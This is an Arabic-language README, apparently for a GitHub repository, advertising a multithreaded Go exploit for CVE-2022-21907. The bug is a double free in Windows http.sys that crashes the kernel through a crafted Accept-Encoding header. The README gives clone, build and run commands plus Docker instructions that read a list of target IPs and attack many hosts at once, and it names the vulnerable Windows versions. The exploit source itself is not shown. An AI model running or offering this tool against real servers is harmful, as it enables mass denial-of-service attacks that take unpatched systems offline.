
تطبيق Golang متعدد الخيوط
CVE-2022-21907 - Double Free في برنامج تشغيل http.sys.
هذا تطبيق Golang متعدد الخيوط يسمح بإرسال الطلبات إلى عدة أهداف في الوقت نفسه.
ليس فعّالاً جداً مع طلبات POST لكنه يوفر ما يقارب 30% من السرعة مقارنةً بالطريقة الخطية.
يمكن لمهاجم غير مصادق إرسال طلب HTTP مع ترويسة طلب "Accept-Encoding" مما يؤدي إلى حدوث Double Free في قائمة الترميز غير المعروفة داخل حزمة بروتوكول HTTP (http.sys) لمعالجة الحزم، مما يسبب انهيار النواة.
Golang:
Golang:
1. git clone https://github.com/iveresk/cve-2022-21907.git
2. cd cve-2022-21907
3. go build cve-2022-21907.go -o /cve-2022-21907
4. chmod +x cve-2022-21907
5. ./cve-2022-21907 -t <targetURL> [or <targetFile>]
بناء Docker محلياً:
1. git clone https://github.com/iveresk/cve-2022-21907.git
2. cd cve-2022-21907
3. nano input.txt [input here your target's IPs in the list]
4. docker build -t <tagName> . || docker build --build-arg INPUT_FILE=<default_target_filename> -t <tagName> .
[In Docker there is a default file named as "input.txt", but you may specify your own one]
5. docker run -it <tagName> || docker run -it -e INPUT_FILE=<target_filename> <tagName>
مستودع Docker
docker pull masterrooot/cve-2022-21907:latest
docker run -it <tagName> || docker run -it -e INPUT_FILE=<target_filename> <tagName>
Windows Server 2019 و Windows 10 الإصدار 1809:
يمكنك التواصل معي بحرية عبر Keybase لأي تفاصيل.